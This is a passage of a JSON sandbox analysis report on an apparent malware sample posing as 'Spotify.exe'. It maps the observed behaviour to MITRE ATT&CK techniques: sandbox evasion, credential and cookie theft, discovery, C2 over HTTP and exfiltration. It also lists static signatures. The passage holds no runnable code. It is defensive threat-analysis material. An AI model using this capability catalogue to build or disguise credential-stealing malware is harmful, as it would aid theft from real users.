Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Able to identify sandbox environment running process"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Able to decode string content at runtime (.NET)"},{"type":"informative","value":"Able to load content into memory (.NET)"},{"type":"informative","value":"Contains symmetric decryption functionality in .NET code"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Contains ability to perform AES decryption (Dotnet String)"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"},{"type":"informative","value":"Dotnet code contains potential unpacker"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Defense Evasion","technique":"Masquerade Task or Service","attack_id":"T1036.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/004","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Able to execute applications in hidden mode (.NET)"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Attempts to read volume data via DOS device path"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"},{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"suspicious","value":"Able to retrieve browser cookies using SQL"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Creates file in AppData directory"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Reads files"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Touches files"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to gather system environment details"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to gather system information (Dotnet)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":".NET code is able to query registry"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Process launched with changed environment"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"malicious","value":"Opens a handle of credential dumping utility"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Spawns new processes"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve current user details (Dotnet)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Contains ability to retrieve user privileges (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Contains ability to retrieve user privileges"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Possibly checks for the presence of an Antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"},{"type":"informative","value":"Contains ability to decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"},{"type":"informative","value":"Able to perform SQL operations"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Contains ability to upload data with network (Dotnet)"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"suspicious","value":"Tries to access/write temporary files"},{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Contains ability to communicates via socket (possible C&C communication)"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"},{"type":"informative","value":"Contains ability to perform asymmetric crypto operations"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Contains ability to communicate with network (Dotnet)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"Contains ability to provide interface for network protocols (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Contains ability to download files with network (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Contains ability to perform symmetric crypto operations"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate via sockets (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Able to retrieve/open a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Impact","technique":"Internal Defacement","attack_id":"T1491.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1491/001","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"file/memory contains long string(File: \"Spotify.exe\")\n Found string \"GZipStream\" (Source: \"00000000-00004104.00000001.179878.00DE2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to execute applications in hidden mode (.NET)","description":"Observed Namespace \"System.Diagnostics.ProcessStartInfo\" and MemberReference \"set_CreateNoWindow\" in \"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin\"\n Observed Namespace \"System.Diagnostics.ProcessStartInfo\" and MemberReference \"set_CreateNoWindow\" in \"Spotify.exe\"","origin":"Static Parser","mitre_attack_id":"T1564.003","relevance":7,"id":"static-161","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to load content into memory (.NET)","description":"Observed namespace \"System.IO.MemoryStream\" and TypeReference \".ctor\" in \"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin\"\n Observed namespace \"System.IO.MemoryStream\" and TypeReference \"ToArray\" in \"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin\"\n Observed namespace \"System.IO.MemoryStream\" and TypeReference \".ctor\" in \"Spotify.exe\"\n Observed namespace \"System.IO.MemoryStream\" and TypeReference \"ToArray\" in \"Spotify.exe\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":5,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to decompress content at runtime","description":"Observed function \"System.IO.Compression.GZipStream\" in \"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin\"\n Observed function \"System.IO.Compression.GZipStream\" in \"Spotify.exe\"","origin":"Static Parser","mitre_attack_id":"T1560.002","relevance":1,"id":"static-116","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$25","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet code contains potential unpacker","description":"Observed function \"System.Load\" in \"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin\"\n Observed function \"System.Load\" in \"Spotify.exe\"","origin":"Static Parser","mitre_attack_id":"T1620","relevance":1,"id":"static-115","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet file contains encryption/decryption functions","description":"Observed namespace \"System.Security.Cryptography\" and MemberReference \"CreateDecryptor\" in \"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin\"\n Observed namespace \"System.Security.Cryptography\" and MemberReference \"CreateDecryptor\" in \"Spotify.exe\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-134","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$26","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$27","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Able to detect if debugger is present","description":"Observed API \"CheckRemoteDebuggerPresent\" in \"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin\"\n Observed API \"CheckRemoteDebuggerPresent\" in \"Spotify.exe\"","origin":"Static Parser","mitre_attack_id":"T1622","relevance":1,"id":"static-220","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"CheckRemoteDebuggerPresent\" (Indicator: \"CheckRemoteDebuggerPresent\"; File: \"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decode string content at runtime (.NET)","description":"Observed function \"FromBase64String\" in \"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin\"\n Observed function \"ToBase64String\" in \"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin\"\n Observed function \"FromBase64String\" in \"Spotify.exe\"\n Observed function \"ToBase64String\" in \"Spotify.exe\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":5,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"CreateDecryptor\" (Indicator: \"CreateDecryptor\"; File: \"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin\")\n file/memory contains long string with (Indicator: \"CreateDecryptor\"; File: \"Spotify.exe\")\n Found reference to API \"CreateDecryptor\" (Indicator: \"CreateDecryptor\"; Source: \"00000000-00004104.00000001.179878.00DE2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00000732.00000002.184260.075C0000.00000004.mdmp\")\n Found api reference \"CryptExportKey\" (Indicator: \"CryptExportKey\"; Source: \"00000000-00000732.00000002.184260.075C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; File: \"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin\")\n file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"Spotify.exe\")\n Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; Source: \"00000000-00004104.00000001.179878.00DE2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decrypt data using RSA (Dotnet String)","description":"Observed string: \"System.Security.Cryptography.X509Certificates.RSACryptoServiceProvider.CreateDecryptor\" in Source: 3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-357","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt data using RSA (Dotnet String)","description":"Observed string: \"System.Security.Cryptography.X509Certificates.RSACryptoServiceProvider.CreateEncryptor\" in Source: 3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-358","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES decryption (Dotnet String)","description":"Observed string: \"System.Security.Cryptography.X509Certificates.AesCryptoServiceProvider.CreateDecryptor\" in Source: 3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-445","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform CryptoStream operations (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.CryptoStream\" and TypeReference \"FlushFinalBlock\" in \"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin\"\n Observed namespace \"System.Security.Cryptography.CryptoStream\" and TypeReference \"FlushFinalBlock\" in \"Spotify.exe\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-166","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform asymmetric crypto operations","description":"Observed namespace \"System.Security.Cryptography.RSACryptoServiceProvider\" and TypeReference \"VerifyHash\" in \"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin\"\n Observed namespace \"System.Security.Cryptography.RSACryptoServiceProvider\" and TypeReference \"VerifyHash\" in \"Spotify.exe\"","origin":"Static Parser","mitre_attack_id":"T1573.002","relevance":1,"id":"static-141","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform crypto operations","description":"Observed namespace \"System.Security.Cryptography.X509Certificates\" in [Source: \"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin\"]\n Observed namespace \"System.Security.Cryptography\" in [Source: \"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin\"]","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-118","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00000732.00000002.184260.075C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"RSACryptoServiceProvider\" (Indicator: \"RSACryptoServiceProvider\"; File: \"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin\")\n file/memory contains long string with (Indicator: \"RSACryptoServiceProvider\"; File: \"Spotify.exe\")\n Found string \"RSACryptoServiceProvider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00004104.00000001.179878.00DE2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric crypto operations","description":"Observed namespace \"System.Security.Cryptography.AesCryptoServiceProvider\" and TypeReference \".ctor\" in \"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin\"\n Observed namespace \"System.Security.Cryptography.AesCryptoServiceProvider\" and TypeReference \".ctor\" in \"Spotify.exe\"","origin":"Static 